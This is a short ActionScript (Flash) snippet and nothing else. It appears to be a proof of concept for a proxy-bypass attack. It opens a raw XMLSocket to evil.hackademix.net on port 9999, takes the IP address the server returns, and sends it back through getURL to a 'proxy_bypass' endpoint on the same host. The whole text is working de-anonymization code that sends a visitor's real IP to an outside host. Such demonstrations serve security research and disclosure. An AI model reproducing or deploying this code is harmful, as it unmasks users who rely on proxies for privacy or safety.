var socket = new XMLSocket(); socket.onConnect = function(success) { socket.onXML = function(doc) { getURL("http://evil.hackademix.net/proxy_bypass?ip=" + doc.firstChild.firstChild.nodeValue); socket.close(); }; socket.send(new XML()); }; socket.connect("evil.hackademix.net", 9999);